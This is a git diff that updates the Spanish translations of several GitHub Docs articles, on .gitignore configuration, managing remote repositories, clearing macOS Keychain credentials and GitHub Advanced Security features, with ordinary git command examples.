-intro: 'You can configure Git to ignore files you don''t want to check in to {% data variables.product.product_name %}.'
+intro: 'Puedes configurar Git para que ignore archivos que no quieres ingresar en {% data variables.product.product_name %}.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Configuring ignored files for a single repository
 
-You can create a *.gitignore* file in your repository's root directory to tell Git which files and directories to ignore when you make a commit.
-To share the ignore rules with other users who clone the repository, commit the *.gitignore* file in to your repository.
+## Configurar archivos ignorados para solo un repositorio
 
-GitHub maintains an official list of recommended *.gitignore* files for many popular operating systems, environments, and languages in the `github/gitignore` public repository. You can also use gitignore.io to create a *.gitignore* file for your operating system, programming language, or IDE. For more information, see "[github/gitignore](https://github.com/github/gitignore)" and the "[gitignore.io](https://www.gitignore.io/)" site.
+Puedes crear un archivo de tipo *.gitignore* en el directorio raíz de tu repositorio para indicarle a Git qué archivos y directorios ignorar cuando haces una confirmación. Para compartir las reglas para ignorar con otros usuarios que clonan el repositorio, confirma el archivo de tipo *.gitignore* en tu repositorio.
+
+GitHub mantiene una lista oficial de archivos recomendados de tipo *.gitignore* para varios sistemas operativos, ambientes y lenguajes de programación populares en el repositorio público `github/gitignore`. También puedes usar gitignore.io para crear un archivo *.gitignore* para tu sistema operativo, lenguaje de programación o IDE. Para obtener más información, consulta la sección "[github/gitignore](https://github.com/github/gitignore)" y el sitio "[gitignore.io](https://www.gitignore.io/)".
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate to the location of your Git repository.
-3. Create a *.gitignore* file for your repository.
+2. Navega a la ubicación de tu repositorio de Git.
+3. Crea un archivo de tipo *.gitignore* para tu repositorio.
    ```shell
    $ touch .gitignore
   ```
 
-   If the command succeeds, there will be no output.
-   
-For an example *.gitignore* file, see "[Some common .gitignore configurations](https://gist.github.com/octocat/9257657)" in the Octocat repository.
+   Si el comando es exitoso, no habrá salida.
 
-If you want to ignore a file that is already checked in, you must untrack the file before you add a rule to ignore it. From your terminal, untrack the file.
+Para ver un archivo de tipo *.gitignore* de ejemplo, consulta la sección "[Algunas configuraciones comunes de .gitignore](https://gist.github.com/octocat/9257657)" en el repositorio de Octocat.
+
+Si quieres ignorar un archivo que ya se haya ingresado, deberás dejar de rastrearlo antes de que agregues una regla para ignorarlo. Desde tu terminal, deja de rastrear el archivo.
 
 ```shell
 $ git rm --cached <em>FILENAME</em>
 ```
 
-## Configuring ignored files for all repositories on your computer
+## Configurar archivos ignorados para todos los repositorios en tu computador
 
-You can also create a global *.gitignore* file to define a list of rules for ignoring files in every Git repository on your computer. For example, you might create the file at *~/.gitignore_global* and add some rules to it.
+También puedes crear un archivo global de tipo *.gitignore* para definir una lista de reglas para ignorar archivos en cada repositorio de Git en tu computador. Por ejemplo, puedes crear el archivo en *~/.gitignore_global* y agregarle algunas normas.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Configure Git to use the exclude file *~/.gitignore_global* for all Git repositories.
+2. Configura Git para que utilice el archivo de exclusión *~/.gitignore_global* en todos los repositorios de Git.
   ```shell
   $ git config --global core.excludesfile ~/.gitignore_global
   ```
 
-## Excluding local files without creating a *.gitignore* file
+## Excluir archivos locales sin crear un archivo de tipo *.gitignore*
 
-If you don't want to create a *.gitignore* file to share with others, you can create rules that are not committed with the repository. You can use this technique for locally-generated files that you don't expect other users to generate, such as files created by your editor.
+Si no quieres crear un archivo *.gitignore* para compartir con otros, puedes crear normas que no estén confirmadas con el repositorio. Puedes utilizar esta técnica para los archivos generados de forma local que no esperas que otros usuarios generen, tales como los archivos creados por tu editor.
 
-Use your favorite text editor to open the file called *.git/info/exclude* within the root of your Git repository. Any rule you add here will not be checked in, and will only ignore files for your local repository.
+Utiliza tu editor de texto favorito para abrir el archivo llamado *.git/info/exclude* dentro de la raíz de tu repositorio de Git. Cualquier norma que agregues aquí no se registrará y solo ignorará archivos de tu repositorio local.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate to the location of your Git repository.
-3. Using your favorite text editor, open the file *.git/info/exclude*.
+2. Navega a la ubicación de tu repositorio de Git.
+3. Utilizando tu editor de texto favorito, abre el archivo *.git/info/exclude*.
 
-## Further Reading
+## Leer más
 
-* [Ignoring files](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring) in the Pro Git book
-* [.gitignore](https://git-scm.com/docs/gitignore) in the man pages for Git
-* [A collection of useful *.gitignore* templates](https://github.com/github/gitignore) in the github/gitignore repository
-* [gitignore.io](https://www.gitignore.io/) site
+* [Ignorar archivos](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring) en el libro de Pro Git
+* [.gitignore](https://git-scm.com/docs/gitignore) en las páginas de man de Git
+* [Una colección de plantillas útiles de *.gitignore* ](https://github.com/github/gitignore) en el repositorio github/gitignore
+* Sitio de [gitignore.io](https://www.gitignore.io/)
diff --git a/translations/es-ES/content/get-started/getting-started-with-git/index.md b/translations/es-ES/content/get-started/getting-started-with-git/index.md
index 35a583d510..522dd33c55 100644
--- a/translations/es-ES/content/get-started/getting-started-with-git/index.md
+++ b/translations/es-ES/content/get-started/getting-started-with-git/index.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with Git
-intro: 'Set up Git, a distributed version control system, to manage your {% data variables.product.product_name %} repositories from your computer.'
+title: Comenzar con Git
+intro: 'Configura Git, un sistema de control de versiones distribuido, para administrar tus repositorios de {% data variables.product.product_name %} desde tu computadora.'
 redirect_from:
   - /articles/getting-started-with-git-and-github
   - /github/using-git/getting-started-with-git-and-github
diff --git a/translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md b/translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md
index 0914d2a7ea..22af3c0bee 100644
--- a/translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md
+++ b/translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Managing remote repositories
-intro: 'Learn to work with your local repositories on your computer and remote repositories hosted on {% data variables.product.product_name %}.'
+title: Administrar repositorios remotos
+intro: 'Aprende a trabajar con tus repositorios locales en tu computadora y repositorios remotos alojados en {% data variables.product.product_name %}.'
 redirect_from:
   - /categories/18/articles
   - /remotes
@@ -23,17 +23,18 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Manage remote repositories
+shortTitle: Administrar repositorios remotos
 ---
-## Adding a remote repository
 
-To add a new remote, use the `git remote add` command on the terminal, in the directory your repository is stored at.
+## Agregar un repositorio remoto
 
-The `git remote add` command takes two arguments:
-* A remote name, for example, `origin`
-* A remote URL, for example, `https://{% data variables.command_line.backticks %}/user/repo.git`
+Para agregar un remoto nuevo, utiliza el comando `git remote add` en la terminal, en el directorio en el cual está almacenado tu repositorio.
 
-For example:
+El comando `git remote add` toma dos argumentos:
+* Un nombre remoto, por ejemplo, `origin`
+* Una URL remota, por ejemplo, `https://{% data variables.command_line.backticks %}/user/repo.git`
+
+Por ejemplo:
 
 ```shell
 $ git remote add origin https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git
@@ -45,60 +46,60 @@ $ git remote -v
 > origin  https://{% data variables.command_line.codeblock %}/<em>user</em>/<em>repo</em>.git (push)
 ```
 
-For more information on which URL to use, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+Para obtener más información sobre qué URL utilizar, consulta la sección "[Acerca de los repositorios remotos](/github/getting-started-with-github/about-remote-repositories)".
 
-### Troubleshooting: Remote origin already exists
+### Solución de problemas: El origen remoto ya existe
 
-This error means you've tried to add a remote with a name that already exists in your local repository.
+Este error significa que trataste de agregar un remoto con un nombre que ya existe en tu repositorio local.
 
 ```shell
 $ git remote add origin https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife.git
 > fatal: remote origin already exists.
 ```
 
-To fix this, you can:
-* Use a different name for the new remote.
-* Rename the existing remote repository before you add the new remote. For more information, see "[Renaming a remote repository](#renaming-a-remote-repository)" below.
-* Delete the existing remote repository before you add the new remote. For more information, see "[Removing a remote repository](#removing-a-remote-repository)" below.
+Para arreglar esto, puedes:
+* Usar un nombre diferente para el nuevo remoto.
+* Renombra el repositorio remoto existente antes de que agregues el remoto nuevo. Para obtener más información, consulta la sección "[Renombrar un repositorio remoto](#renaming-a-remote-repository)" a continuación.
+* Borra el repositorio remoto existente antes de que agregues el remoto nuevo. Para obtener más información, consulta la sección "[Eliminar un repositorio remoto](#removing-a-remote-repository)" a continuación.
 
-## Changing a remote repository's URL
+## Cambiar la URL del repositorio remoto
 
-The `git remote set-url` command changes an existing remote repository URL.
+El comando `git remote set-url` cambia una URL existente de repositorio remoto.
 
 {% tip %}
 
-**Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+**Tip:** Para obtener más información sobre la diferencia entre las URL de HTTPS y SSH, consulta la sección "[Acerca de los repositorios remotos](/github/getting-started-with-github/about-remote-repositories)".
 
 {% endtip %}
 
-The `git remote set-url` command takes two arguments:
+El comando `git remote set-url` toma dos argumentos:
 
-* An existing remote name. For example, `origin` or `upstream` are two common choices.
-* A new URL for the remote. For example:
-  * If you're updating to use HTTPS, your URL might look like:
+* Un nombre de remoto existente. Por ejemplo, `origin` o `upstream` son dos de las opciones comunes.
+* Una nueva URL para el remoto. Por ejemplo:
+  * Si estás actualizando para usar HTTPS, tu URL puede verse como:
 ```shell
 https://{% data variables.command_line.backticks %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
 ```
-  * If you're updating to use SSH, your URL might look like:
+  * Si estás actualizando para usar SSH, tu URL puede verse como:
 ```shell
 git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY</em>.git
 ```
 
-### Switching remote URLs from SSH to HTTPS
+### Cambiar direcciones URL remotas de SSH a HTTPS
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. List your existing remotes in order to get the name of the remote you want to change.
+2. Cambiar el directorio de trabajo actual en tu proyecto local.
+3. Enumerar tus remotos existentes a fin de obtener el nombre de los remotos que deseas cambiar.
   ```shell
   $ git remote -v
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (fetch)
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (push)
   ```
-4. Change your remote's URL from SSH to HTTPS with the `git remote set-url` command.
+4. Cambiar tu URL remota de SSH a HTTPS con el comando `git remote set-url`.
   ```shell
   $ git remote set-url origin https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
   ```
-5. Verify that the remote URL has changed.
+5. Verificar que la URL remota ha cambiado.
   ```shell
   $ git remote -v
   # Verify new remote URL
@@ -106,25 +107,25 @@ git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (push)
   ```
 
-The next time you `git fetch`, `git pull`, or `git push` to the remote repository, you'll be asked for your GitHub username and password. {% data reusables.user_settings.password-authentication-deprecation %}
+La próxima vez que ejecutes `git`, `git pull` o `git push` en el repositorio remoto, se te pedirá el nombre de usuario y la contraseña de GitHub. {% data reusables.user_settings.password-authentication-deprecation %}
 
-You can [use a credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git) so Git will remember your GitHub username and personal access token every time it talks to GitHub.
+Puedes [utilizar un ayudante de credenciales](/github/getting-started-with-github/caching-your-github-credentials-in-git) para que Git recuerde tu nombre de usuario y token de acceso personal cada vez que se comunique con GitHub.
 
-### Switching remote URLs from HTTPS to SSH
+### Cambiar las URL remotas de HTTPS a SSH
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. List your existing remotes in order to get the name of the remote you want to change.
+2. Cambiar el directorio de trabajo actual en tu proyecto local.
+3. Enumerar tus remotos existentes a fin de obtener el nombre de los remotos que deseas cambiar.
   ```shell
   $ git remote -v
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (fetch)
   > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY</em>.git (push)
   ```
-4. Change your remote's URL from HTTPS to SSH with the `git remote set-url` command.
+4. Cambiar tu URL remota de HTTPS a SSH con el comando `git remote set-url`.
   ```shell
   $ git remote set-url origin git@{% data variables.command_line.codeblock %}:<em>USERNAME</em>/<em>REPOSITORY</em>.git
   ```
-5. Verify that the remote URL has changed.
+5. Verificar que la URL remota ha cambiado.
   ```shell
   $ git remote -v
   # Verify new remote URL
@@ -132,106 +133,105 @@ You can [use a credential helper](/github/getting-started-with-github/caching-yo
   > origin  git@{% data variables.command_line.codeblock %}:<em>USERNAME/REPOSITORY</em>.git (push)
   ```
 
-### Troubleshooting: No such remote '[name]'
+### Solución de problemas: No existe tal remoto '[name]'
 
-This error means that the remote you tried to change doesn't exist:
+Este error significa que el remoto que trataste de cambiar no existe:
 
 ```shell
 $ git remote set-url sofake https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife
 > fatal: No such remote 'sofake'
 ```
 
-Check that you've correctly typed the remote name.
+Comprueba que escribiste correctamente el nombre del remoto.
 
-## Renaming a remote repository
+## Renombrar un repositorio remoto
 
-Use the `git remote rename` command to rename an existing remote.
+Utiliza el comando `git remote rename` para renombrar un remoto existente.
 
-The `git remote rename` command takes two arguments:
-* An existing remote name, for example, `origin`
-* A new name for the remote, for example, `destination`
+El comando `git remote rename` toma dos argumentos:
+* Un nombre de remoto existente, por ejemplo, `origen`
+* Un nombre nuevo para el remoto, por ejemplo, `destino`
 
-## Example
+## Ejemplo
 
-These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+Estos ejemplos asumen que estás[clonando con HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), lo cual se recomienda.
 
 ```shell
 $ git remote -v
-# View existing remotes
+# Ver remotos existentes
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
 
 $ git remote rename origin destination
-# Change remote name from 'origin' to 'destination'
+# Cambiar el nombre del remoto de 'origen' a 'destino'
 
 $ git remote -v
-# Verify remote's new name
+# Verificar el nombre nuevo del remoto
 > destination  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
 > destination  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
 ```
 
-### Troubleshooting: Could not rename config section 'remote.[old name]' to 'remote.[new name]'
+### Solución de problemas: No se pudo renombrar la sección de configuración 'remote.[old name]' a 'remote.[new name]'
 
-This error means that the old remote name you typed doesn't exist.
+Este error significa que el nombre remoto antiguo que tecleaste ya no existe.
 
-You can check which remotes currently exist with the `git remote -v` command:
+Puedes verificar los remotos que existen actualmente con el comando `git remote -v`:
 
 ```shell
 $ git remote -v
-# View existing remotes
+# Ver remotos existentes
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER</em>/<em>REPOSITORY</em>.git (push)
 ```
 
-### Troubleshooting: Remote [new name] already exists
+### Solución de problemas: Ya existe el Remoto [new name]
 
-This error means that the remote name you want to use already exists. To solve this, either use a different remote name, or rename the original remote.
+Este error significa que el nombre del remoto que quieres utilizar ya existe. Para resolver esto, puedes ya sea utilizar un nombre diferente para el remoto o renombrar el remoto original.
 
-## Removing a remote repository 
+## Eliminar un repositorio remoto
 
-Use the `git remote rm` command to remove a remote URL from your repository.
+Utiliza el comando `git remote rm` para eliminar una URL remota de tu repositorio.
 
-The `git remote rm` command takes one argument:
-* A remote name, for example, `destination`
+El comando `git remote rm` toma un argumento:
+* El nombre de un remoto, por ejemplo `destination` (destino)
 
-## Example
+## Ejemplo
 
-These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+Estos ejemplos asumen que estás[clonando con HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), lo cual se recomienda.
 
 ```shell
 $ git remote -v
-# View current remotes
+# Ver los remotos actuales
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (push)
 > destination  https://{% data variables.command_line.codeblock %}/<em>FORKER/REPOSITORY</em>.git (fetch)
 > destination  https://{% data variables.command_line.codeblock %}/<em>FORKER/REPOSITORY</em>.git (push)
 
 $ git remote rm destination
-# Remove remote
+# Eliminar remoto
 $ git remote -v
-# Verify it's gone
+# Verificar que se haya ido
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (fetch)
 > origin  https://{% data variables.command_line.codeblock %}/<em>OWNER/REPOSITORY</em>.git (push)
 ```
 
 {% warning %}
 
-**Note**: `git remote rm` does not delete the remote repository from the server.  It simply
-removes the remote and its references from your local repository.
+**Nota**: `git remote rm` no elimina el repositorio remoto del servidor.  Simplemente, elimina de tu repositorio local el remoto y sus referencias.
 
 {% endwarning %}
 
-### Troubleshooting: Could not remove config section 'remote.[name]'
+### Solución de problemas: No se pudo eliminar la sección de configuración 'remote.[name]'
 
-This error means that the remote you tried to delete doesn't exist:
+Este error significa que el remoto que trataste de eliminar no existe:
 
 ```shell
 $ git remote rm sofake
-> error: Could not remove config section 'remote.sofake'
+> error: No se pudo eliminar la sección de configuración 'remote.sofake'
 ```
 
-Check that you've correctly typed the remote name.
+Comprueba que escribiste correctamente el nombre del remoto.
 
-## Further reading
+## Leer más
 
-- "[Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
+- "[Trabajar con remotos" desde el libro _Pro Git_](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
diff --git a/translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md b/translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md
index 8f4a056431..51192aef8f 100644
--- a/translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md
+++ b/translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md
@@ -1,6 +1,6 @@
 ---
-title: Updating credentials from the macOS Keychain
-intro: 'You''ll need to update your saved credentials in the `git-credential-osxkeychain` helper if you change your{% ifversion not ghae %} username, password, or{% endif %} personal access token on {% data variables.product.product_name %}.'
+title: Actualizar credenciales desde la Keychain OSX
+intro: 'Necesitarás actualizar tus credenciales guardadas en el ayudante `git-credential-osxkeychain` si cambias tu{% ifversion not ghae %} nombre de usuario, contraseña, o{% endif %} token de acceso personal en {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/updating-credentials-from-the-osx-keychain
   - /github/using-git/updating-credentials-from-the-osx-keychain
@@ -12,29 +12,29 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: macOS Keychain credentials
+shortTitle: credenciales de Keychain de macOS
 ---
+
 {% tip %}
 
-**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a PAT using the  `osxkeychain` helper that is built-in to macOS. 
+**Nota:** El actualizar las credenciales desde la Keychain de macOS solo aplica a los usuarios que configuran el PAT manualmente utilizando el ayudante `osxkeychain` que está integrado en macOS.
 
-We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM) instead. GCM can manage authentication on your behalf (no more manual PATs) including 2FA (two-factor auth).
+Te recomendamos que ya sea [configures el SSH](/articles/generating-an-ssh-key) o mejores al [Administrador de Credenciales de Git](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM) en su lugar. El GCM puede administrar la autenticación en tu nombre (sin utilizar más PAT manuales) incluyendo la 2FA (autenticación bifactorial).
 
 {% endtip %}
 
 {% data reusables.user_settings.password-authentication-deprecation %}
 
-## Updating your credentials via Keychain Access
+## Actualizar tus credenciales a través de Keychain Access (Acceso keychain)
 
-1. Click on the Spotlight icon (magnifying glass) on the right side of the menu bar. Type `Keychain access` then press the Enter key to launch the app.
-   ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png)
-2. In Keychain Access, search for **{% data variables.command_line.backticks %}**.
-3. Find the "internet password" entry for `{% data variables.command_line.backticks %}`.
-4. Edit or delete the entry accordingly.
+1. Da clic en el icono de Spotlight (lupa) en el costado derecho de la barra de menú. Teclea `Keychain access` y luego presiona la tecla Enter para lanzar la app. ![Barra Spotlight Search (Búsqueda de Spotlight)](/assets/images/help/setup/keychain-access.png)
+2. En Keychain Access (Acceso keychain), busca **{% data variables.command_line.backticks %}**.
+3. Encuentra la entrada "internet password" (contraseña de internet) para `{% data variables.command_line.backticks %}`.
+4. Edita o borra la entrada según corresponda.
 
-## Deleting your credentials via the command line
+## Eliminar tus credenciales a través de la línea de comando
 
-Through the command line, you can use the credential helper directly to erase the keychain entry.
+A través de la línea de comandos, puedes utilizar el ayudante de credenciales directamente para borrar la entrada de keychain.
 
 ```shell
 $ git credential-osxkeychain erase
@@ -43,8 +43,8 @@ protocol=https
 > <em>[Press Return]</em>
 ```
 
-If it's successful, nothing will print out. To test that it works, try and clone a private repository from {% data variables.product.product_location %}. If you are prompted for a password, the keychain entry was deleted.
+Si resulta exitoso, no se imprimirá nada. Para probar que esto funciona, intenta clonar un repositorio privado de {% data variables.product.product_location %}. Si se te pide una contraseña, la entrada de keychain se borró.
 
-## Further reading
+## Leer más
 
-- "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
+- [Almacenar tus credenciales de {% data variables.product.prodname_dotcom %} en el caché dentro de Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
diff --git a/translations/es-ES/content/get-started/index.md b/translations/es-ES/content/get-started/index.md
index 8917ef270e..44c15f4bf6 100644
--- a/translations/es-ES/content/get-started/index.md
+++ b/translations/es-ES/content/get-started/index.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub
-shortTitle: Get started
-intro: 'Learn how to start building, shipping, and maintaining software with {% data variables.product.prodname_dotcom %}. Explore our products, sign up for an account, and connect with the world''s largest development community.'
+title: Comenzar con GitHub
+shortTitle: Empezar
+intro: 'Aprende cómo comenzar a crear, enviar y mantener software con {% data variables.product.prodname_dotcom %}. Explora nuestros productos, regístrate para una cuenta y conéctate con la comunidad de desarrollo más grande del mundo.'
 redirect_from:
   - /categories/54/articles
   - /categories/bootcamp
@@ -37,6 +37,7 @@ featuredLinks:
     - /github/getting-started-with-github/signing-up-for-a-new-github-account
     - /get-started/quickstart/hello-world
     - /github/getting-started-with-github/set-up-git
+    - /get-started/learning-about-github/about-versions-of-github-docs
     - /github/getting-started-with-github/github-glossary
     - /github/getting-started-with-github/fork-a-repo
     - /github/getting-started-with-github/keyboard-shortcuts
@@ -60,3 +61,4 @@ children:
   - /getting-started-with-git
   - /using-git
 ---
+
diff --git a/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md b/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md
index d99e76f16a..c34518a95d 100644
--- a/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md
+++ b/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Advanced Security
-intro: '{% data variables.product.prodname_dotcom %} makes extra security features available to customers under an {% data variables.product.prodname_advanced_security %} license.{% ifversion fpt or ghec %} These features are also enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}'
+title: Acerca de GitHub Advanced Security
+intro: '{% data variables.product.prodname_dotcom %} pone a disposición de los clientes medidas adicionales de seguridad mediante una licencia de {% data variables.product.prodname_advanced_security %}.{% ifversion fpt or ghec %} Estas características también se habilitan para los repositorios públicos en {% data variables.product.prodname_dotcom_the_website %}.{% endif %}'
 product: '{% data reusables.gated-features.ghas %}'
 versions:
   fpt: '*'
@@ -14,65 +14,70 @@ redirect_from:
   - /github/getting-started-with-github/learning-about-github/about-github-advanced-security
 shortTitle: GitHub Advanced Security
 ---
-## About {% data variables.product.prodname_GH_advanced_security %}
 
-{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans{% ifversion not ghae %}, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Other security features require a license for {% data variables.product.prodname_GH_advanced_security %} to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}.
+## Acerca de {% data variables.product.prodname_GH_advanced_security %}
 
-{% ifversion fpt or ghes > 3.0 or ghec %}For more information about purchasing {% data variables.product.prodname_GH_advanced_security %}, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% elsif ghae %}There is no charge for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.product.prodname_ghe_managed %} during the beta release.{% endif %}
+{% data variables.product.prodname_dotcom %} tiene muchas características que te ayudan a mejorar y mantener la calidad de tu código. Algunas de estas se incluyen en todos los planes{% ifversion not ghae %}, tales como la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Other security features require {% data variables.product.prodname_GH_advanced_security %}{% ifversion fpt or ghec %} to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.
 
-## About {% data variables.product.prodname_advanced_security %} features
+{% ifversion ghes > 3.0 or ghec %}Para obtener más información sobre cómo comprar una licenca de {% data variables.product.prodname_GH_advanced_security %}, consulta la sección "[Acerca de la facturación de {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)".{% elsif ghae %} No se cobra por {% data variables.product.prodname_GH_advanced_security %} en {% data variables.product.prodname_ghe_managed %} durante el lanzamiento del beta.{% elsif fpt %}Para comprar una licencia de {% data variables.product.prodname_GH_advanced_security %}, debes utilizar {% data variables.product.prodname_enterprise %}. Para obtener más información sobre cómo mejorar a {% data variables.product.prodname_enterprise %} con {% data variables.product.prodname_GH_advanced_security %}, consulta las secciones "[Productos de GitHub](/get-started/learning-about-github/githubs-products)" y "[Acerca de la facturación de {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)".{% endif %}
 
-A {% data variables.product.prodname_GH_advanced_security %} license provides the following additional features:
+## Acerca de las características de {% data variables.product.prodname_advanced_security %}
 
-- **{% data variables.product.prodname_code_scanning_capc %}** - Search for potential security vulnerabilities and coding errors in your code. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+Una licencia de {% data variables.product.prodname_GH_advanced_security %} proporciona las siguientes características adicionales:
 
-- **{% data variables.product.prodname_secret_scanning_caps %}** - Detect secrets, for example keys and tokens, that have been checked into the repository. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)."
+- **{% data variables.product.prodname_code_scanning_capc %}** - Busca vulnerabilidades de seguridad potenciales y errores dentro de tu código. Para obtener más información, consulta la sección "[Acerca de{% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)".
+
+- **{% data variables.product.prodname_secret_scanning_caps %}** - Detecta secretos, por ejemplo claves y tokens, que se han dado de alta en el repositorio. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)".
 
 {% ifversion fpt or ghes > 3.1 or ghec or ghae-issue-4864 %}
-- **Dependency review** - Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+- **Revisión de dependencias** - Muestra todo el impacto de los cambios a las dependencias y vee los detalles de las versiones vulnerables antes de que fusiones una solicitud de cambios. Para obtener más información, consulta la sección "[Acerca de la revisión de dependencias](/code-security/supply-chain-security/about-dependency-review)".
 {% endif %}
 
-For information about {% data variables.product.prodname_advanced_security %} features that are in development, see "[{% data variables.product.prodname_dotcom %} public roadmap](https://github.com/github/roadmap)." For an overview of all security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
-
-{% ifversion ghes or ghec %}
-
-## Deploying GitHub Advanced Security in your enterprise
-
-To learn about what you need to know to plan your {% data variables.product.prodname_GH_advanced_security %} deployment at a high level, see "[Overview of {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/overview-of-github-advanced-security-deployment)."
-
-To review the rollout phases we recommended in more detail, see "[Deploying {% data variables.product.prodname_GH_advanced_security %} in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)."
-
+{% ifversion ghec or ghes > 3.1 %}
+- **Security overview** - Review the security configuration and alerts for an organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
 {% endif %}
 
-{% ifversion ghes or ghae %}
-## Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.product_name %}
-
-{% ifversion ghes %}
-The site administrator must enable {% data variables.product.prodname_advanced_security %} for {% data variables.product.product_location %} before you can use these features. For more information, see "[Configuring Advanced Security features](/admin/configuration/configuring-advanced-security-features)."
-{% endif %}
-
